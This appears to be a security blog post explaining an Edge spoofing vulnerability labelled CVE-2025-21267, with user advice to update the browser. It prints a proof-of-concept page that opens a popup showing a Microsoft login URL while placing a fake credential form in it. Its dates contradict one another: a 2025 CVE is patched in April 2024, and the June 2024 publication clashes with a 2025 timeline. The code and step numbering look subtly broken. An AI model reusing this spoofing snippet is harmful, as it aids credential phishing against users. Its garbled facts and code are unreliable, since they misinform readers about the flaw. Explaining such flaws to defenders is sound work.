*Published June 2024 by SecurityExplained.net*
What is CVE-2025-21267?
On April 9th, 2024, Microsoft confirmed and patched a newly discovered vulnerability in Microsoft Edge (Chromium-based browsers) cataloged as CVE-2025-21267. This security hole allows attackers to spoof (fake) trusted websites, potentially tricking Edge users into giving away personal information, passwords, or downloading malicious content.
In simple terms, Edge didn’t always show users the real webpage they were on—which could help attackers hide malware or phishing forms under a fake address bar or window. This issue impacts all Windows versions running the affected version of Edge built on Chromium.
Who’s at Risk?
If you use Microsoft Edge on Windows and haven’t updated your browser since April 2024, you might be in danger. This flaw can be used in phishing attacks, fake login pages, or malware downloads—all behind seemingly legitimate web addresses.
> Good to know: Chrome and other Chromium-based browsers have similar code but this flaw was only found in Edge’s custom implementation.
How Spoofing Happens in Edge
The core of CVE-2025-21267 lies in how Edge processed certain window.open() or iframe requests popping up over legitimate content, combined with incomplete updates to the browser’s address bar or security indicators.
User clicks a link to a real website (e.g., their bank).
2. A crafted script manipulates Edge’s rendering and address bar, displaying a fake login form or warning.
To grasp how CVE-2025-21267 works, let’s see a minimal proof-of-concept snippet
<!-- index.html (run on attacker's webserver) -->
<html>
<body>
<button onclick="spoof()">Click for Offer</button>
<script>
function spoof() {
let popup = window.open("about:blank", "_blank", "width=800,height=600");
popup.document.write(`
<meta http-equiv='refresh' content=';url=https://login.microsoftonline.com'>;
<script>
setTimeout(() => {
document.body.innerHTML='<h2>Legit Login Required</h2><form><input type="text" placeholder="Username">
<input type="password" placeholder="Password"></form>';
}, 200);
</script>
`);
}
</script>
</body>
</html>
On affected versions, the popup’s address bar reads https://login.microsoftonline.com even though the page content is controlled by the attacker. A slight delay swaps the real site for the fake form, fooling even careful users.
Attacker sets up a convincing edge-phishing site.
2. The site uses the above code pattern to pop up a new window showing about:blank at first, then quickly redirects the popup to a trusted URL like *https://login.microsoftonline.com*, *https://bank.com* or any target.
3. Using clever DOM manipulation and timing, the address bar updates but the page’s body is already hijacked. This can include cloned forms for capturing passwords.
User, seeing the green padlock and familiar URL, feels safe and enters credentials.
Microsoft’s fix involved restricting address bar updates after content is intercepted or replaced—blocking this kind of trick.
Update Edge Now: Go to Settings → Help & feedback → About Microsoft Edge to get the latest.
- Double-check addresses: If login windows seem odd or pop up unexpectedly, type in the site address yourself.
Use a Password Manager: Many password managers won’t fill credentials on fake domains.
- Stay Alert for Phishing: Be wary of unexpected popups or requests, even if the address bar looks correct.
References
- Microsoft Security Update Guide: CVE-2025-21267
- Chromium Project Security Notes
- Phishing Trends Report 2024 (APWG)
- Edge Release Notes (Microsoft)
- *Unofficial Analysis/POC*: GitHub Gist: edge-spoof-poc
Summary:
CVE-2025-21267 is a critical spoofing vulnerability in Microsoft Edge that allowed attackers to fool users with fake sites positioned behind real URLs and padlock icons. Update your browser now and be extra cautious with any pop-ups or login requests—even from “trusted” sites.
*Stay secure. Share this knowledge with your friends and coworkers!*
Timeline
Published on: 02/06/2025 23:15:08 UTC